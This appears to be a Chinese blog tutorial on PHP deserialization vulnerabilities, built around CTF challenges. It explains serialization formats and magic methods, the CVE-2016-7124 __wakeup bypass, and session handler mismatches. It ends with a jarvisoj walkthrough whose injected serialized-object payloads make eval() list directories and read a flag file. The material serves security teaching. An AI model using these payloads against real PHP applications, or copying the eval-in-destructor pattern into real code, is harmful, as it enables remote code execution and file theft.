浅析PHP反序列化漏洞
0x01 前言
很久没有些文章了,今天复习了反序列化漏洞的知识,顺便写了一篇文章。
0x02 PHP序列化和反序列化基础
我们想要将数组值存储到数据库时,就可以对数组进行序列化操作,然后将序列化后的值存储到数据库中。其实PHP序列化数组就是将复杂的数组数据类型转换为字符串,方便数组存库操作。对PHP数组进行序列化和反序列化操作,主要就用到两个函数,serialize和unserialize。
PHP序列化:serialize
在PHP中,序列化用于存储或传递 PHP 的值的过程中,同时不丢失其类型和结构。
序列化函数原型如下:
string serialize ( mixed $value )先看个例子
<? phpclass TEST { public $data; private $pass;
public function __construct($data, $pass) { $this->data = $data; $this->pass = $pass; }}$number = 34;$str = 'user';$bool = true;$null = NULL;$arr = array('a' => 10, 'b' => 200);$test = new TEST('uu', true);var_dump(serialize($number));var_dump(serialize($str));var_dump(serialize($bool));var_dump(serialize($null));var_dump(serialize($arr));var_dump(serialize($test));?>输出结果为:

所以序列化对于不同类型得到的字符串格式为:
String: s:size:value;Integer: i:value;Boolean: b:value;(保存1或0)Null: N;Array: a:size:{key definition;value definition;(repeated per element)}Object: O:strlen(object name):object name:object size:{s:strlen(property name):property name:property definition;(repeated per property)}
从上面最后一个结果有个问题,为什么会出现不明符号,因为变量是private的所以序列号的时候会在两侧加入空字节,而且是private属性的变量都会在变量前面加上加上类名。
PHP反序列化:unserialize
unserialize() 是对单一的已序列化的变量进行操作,将其转换回PHP 的值。
mixed unserialize ( string $str )例子:
<?php$str = 'O:4:"TEST":2:{s:4:"data";s:2:"uu";s:10:" TEST pass";b:1;}';var_dump(unserialize($str));?>输出结果为:

0x03 常见魔术方法
在利用对PHP序列号和反序列化时,都需要经过当中的魔术方法,检查方法里有无敏感操作来进行利用。
常见方法
__construct()//创建对象时触发__destruct() //对象被销毁时触发__call() //在对象上下文中调用不可访问的方法时触发__callStatic() //在静态上下文中调用不可访问的方法时触发__get() //用于从不可访问的属性读取数据__set() //用于将数据写入不可访问的属性__isset() //在不可访问的属性上调用isset()或empty()触发__unset() //在不可访问的属性上使用unset()时触发__invoke() //当脚本尝试将对象调用为函数时触发__sleep()
serialize() 函数会检查类中是否存在一个魔术方法 __sleep()。如果存在,该方法会先被调用,然后才执行序列化操作。此功能可以用于清理对象,并返回一个包含对象中所有应被序列化的变量名称的数组。如果该方法未返回任何内容,则 NULL 被序列化,并产生一个 E_NOTICE 级别的错误。对象被序列化之前触发,返回需要被序列化存储的成员属性,删除不必要的属性。
看个例子:
class User{ const SITE = 'uusama';
public $username; public $nickname; private $password;
public function __construct($username, $nickname, $password) { $this->username = $username; $this->nickname = $nickname; $this->password = $password; }
// 重载序列化调用的方法 public function __sleep() { // 返回需要序列化的变量名,过滤掉password变量 return array('username', 'nickname'); }}$user = new User('uusama', 'uu', '123456');var_dump(serialize($user));输出的结果很显然序列化的时候忽略了 password 字段的值。

__wakeup()
unserialize() 会检查是否存在一个__wakeup()方法。如果存在,则会先调用 __wakeup() 方法,预先准备对象需要的资源。
预先准备对象资源,返回void,常用于反序列化操作中重新建立数据库连接或执行其他初始化操作。
看个例子:
class User{ const SITE = 'uusama';
public $username; public $nickname; private $password; private $order;
public function __construct($username, $nickname, $password) { $this->username = $username; $this->nickname = $nickname; $this->password = $password; }
// 定义反序列化后调用的方法 public function __wakeup() { $this->password = $this->username; }}$user_ser = 'O:4:"User":2:{s:8:"username";s:6:"uusama";s:8:"nickname";s:2:"uu";}';var_dump(unserialize($user_ser));
__wakeup()函数在对象被构建以后执行,所以$this->username的值不为空- 反序列化时,会尽量将变量值进行匹配并复制给序列化后的对象
__construct
__construct()被称为构造方法,也就是在创造一个对象时候,首先会去执行的一个方法。
例子:
<?phpclass User{
public $username;
public function __construct($username, $nickname, $password) { $this->username = $username; echo "__construct test"; }
}$test = new User("F0rmat");
?>输出结果:

__destruct()
对象的所有引用都被删除或者当对象被显式销毁时执行__destruct()
例子:
<?phpclass User{ public function __destruct() { echo "__destruct test"; }}$test = new User();?>输出结果:

__ToString()
public __toString ( void ) : string__toString() 方法用于一个类被当成字符串时应怎样回应。例如 echo $obj; 应该显示些什么。此方法必须返回一个字符串,否则将发出一条 E_RECOVERABLE_ERROR 级别的致命错误。
例子:
<?php
class TestClass{ public $foo;
public function __construct($foo) { $this->foo = $foo; }
public function __toString() { return $this->foo; }}
$class = new TestClass('Hello');echo $class;?>输出的结果:

热身题
<?phperror_reporting(0);include "flag.php";$KEY = "D0g3!!!";$str = $_GET['str'];if (unserialize($str) === "$KEY"){ echo "$flag";}show_source(__FILE__);只要后面接受的str参数反序列化得到D0g3!!!就可以了得到flag了
http://120.79.33.253:9001/?str=s:7:%22D0g3!!!%22

反序列化对象注入-CVE-2016-7124
CVE-2016-7124,简单来说就是当序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行。
我们用一个例子来理解这个漏洞原理:
<?php error_reporting(0); class Test{ public $key = 'flag'; function __destruct(){ if(!empty($this->key)){ if($this->key == 'flag') echo 'success'; } } function __wakeup(){ $this->key = 'you failed 23333'; echo $this->key; } public function __toString(){ return ''; } } if(!isset($_GET['answer'])){ show_source('index.php'); }else{ $answer = $_GET['answer']; echo $answer; echo '<br>'; echo unserialize($answer);// }
?>构造正常反序列化对象:O:4:"Test":2:{s:3:"key";s:4:"flag";}

发现__wakeup()会先执行,__destruct()中的判断不成立,无法输出success,尝试将对象属性个数1改为任意大于1的数,即可绕过__wakeup()

0x04 session反序列化漏洞
简介
首先我们需要了解session反序列化是什么? PHP在session存储和读取时,都会有一个序列化和反序列化的过程,PHP内置了多种处理器用于存取 $_SESSION 数据,都会对数据进行序列化和反序列化 在php.ini中有以下配置项,mamp的默认配置如图

session.save_path 设置session的存储路径
session.save_handler 设定用户自定义存储函数
session.auto_start 指定会话模块是否在请求开始时启动一个会话
session.serialize_handler 定义用来序列化/反序列化的处理器名字。默认使用php
除了默认的session序列化引擎php外,还有几种引擎,不同引擎存储方式不同
| 处理器 | 对应的存储格式 |
|---|---|
| php | 键名 + 竖线 + 经过 serialize() 函数反序列处理的值 |
| php_binary | 键名的长度对应的 ASCII 字符 + 键名 + 经过 serialize() 函数反序列处理的值 |
| php_serialize (php>=5.5.4) | 经过 serialize() 函数反序列处理的数组 |
存储机制
php中的session内容是以文件方式来存储的,由session.save_handler来决定。文件名由sess_sessionid命名,文件内容则为session序列化后的值。
来测试一个demo
<?php ini_set('session.serialize_handler','php'); session_start();
$_SESSION['name'] = 'test';?>运行后在配置文件设定的路径中会生成一个session文件
我的文件是保存在/Applications/MAMP/tmp/php目录下
- 当
session.serialize_handler为php时
name|s:4:"test";- 当
session.serialize_handler为php_serialize时
a:1:{s:4:"name";s:4:"test";}- 当
session.serialize_handler为php_binary时
<0x04>names:4:"test";三种处理器的存储格式差异,就会造成在session序列化和反序列化处理器设置不当时的安全隐患。
PHP Session中的序列化危害
HP中的Session的实现是没有的问题,危害主要是由于程序员的Session使用不当而引起的。 如果在PHP在反序列化存储的$_SESSION数据时使用的引擎和序列化使用的引擎不一样,会导致数据无法正确第反序列化。通过精心构造的数据包,就可以绕过程序的验证或者是执行一些系统的方法。例如:
$_SESSION['ryat'] = '|O:11:"PeopleClass":0:{}';上述的$_SESSION的数据使用php_serialize,那么最后的存储的内容就是a:1:{s:6:"spoock";s:24:"|O:11:"PeopleClass":0:{}";}。
但是我们在进行读取的时候,选择的是php,那么最后读取的内容是:
array (size=1) 'a:1:{s:6:"spoock";s:24:"' => object(__PHP_Incomplete_Class)[1] public '__PHP_Incomplete_Class_Name' => string 'PeopleClass' (length=11)这是因为当使用php引擎的时候,php引擎会以**|**作为作为key和value的分隔符,那么就会将a:1:{s:6:"spoock";s:24:"作为SESSION的key,将O:11:"PeopleClass":0:{}作为value,然后进行反序列化,最后就会得到PeopleClas这个类。
这种由于序列话化和反序列化所使用的不一样的引擎就是造成PHP Session序列话漏洞的原因。
举个例子来理解:
存在us1.php和us2.php,2个文件所使用的SESSION的引擎不一样,就形成了一个漏洞、 us1.php,使用php_serialize来处理session
新建文件us1.php
<?phpini_set('session.serialize_handler', 'php_serialize');session_start();$_SESSION["spoock"]=$_GET["a"];?>新建文件us2.php,使用php来处理session
<?phpini_set('session.serialize_handler', 'php');session_start();class lemon { var $hi; function __construct(){ $this->hi = 'phpinfo();'; }
function __destruct() { eval($this->hi); }}?>访问http://127.0.0.1/us1.php?a=|O:5:"lemon":1:{s:2:"hi";s:14:"echo "spoock";";}
此时传入的数据会按照php_serialize来进行序列化。
此时访问us2.php时,页面输出,spoock成功执行了我们构造的函数。因为在访问us2.php时,程序会按照php来反序列化SESSION中的数据,此时就会反序列化伪造的数据,就会实例化lemon对象,最后就会执行析构函数中的eval()方法。

如果还是不理解,可以用PHPstorm工具来进行动态debug代码,可以参考我之前的文章[https://getpass.cn/2018/04/10/Breakpoint%20debugging%20with%20phpstorm+xdebug/](https://getpass.cn/2018/04/10/Breakpoint debugging with phpstorm+xdebug/)
执行的时候,session反序列化会执行里面销毁前的魔术函数__destruct(),前面的__construct()就不再执行了。

jarvisoj-web的一道SESSION反序列化
题目入口(http://web.jarvisoj.com:32784/index.php) Index页给源码:
<?php//A webshell is wait for youini_set('session.serialize_handler', 'php');session_start();class OowoO{ public $mdzz; function __construct() { $this->mdzz = 'phpinfo();'; }
function __destruct() { eval($this->mdzz); }}if(isset($_GET['phpinfo'])){ $m = new OowoO();}else{ highlight_string(file_get_contents('index.php'));}?>看到ini_set(‘session.serialize_handler’, ‘php’);
暂时没找到用php_serialize添加session的方法。但看到当get传入phpinfo时会实例化OowoO这个类并访问phpinfo()

session.upload_progress.enabled为On。session.upload_progress.enabled本身作用不大,是用来检测一个文件上传的进度。但当一个文件上传时,同时POST一个与php.ini中session.upload_progress.name同名的变量时(session.upload_progress.name的变量值默认为PHP_SESSION_UPLOAD_PROGRESS),PHP检测到这种同名请求会在$_SESSION中添加一条数据。我们由此来设置session。
官方文档的解释:http://php.net/manual/en/session.upload-progress.php
构造上传的表单:
<form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data"> <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" /> <input type="file" name="file" /> <input type="submit" /></form>用burp抓包,修改filename参数为:
|O:5:"OowoO":1:{s:4:"mdzz";s:26:"print_r(scandir(__dir__));";}"

读取文件内容:
|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:88:\"print_r(file_get_contents(\"/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php\"));\";}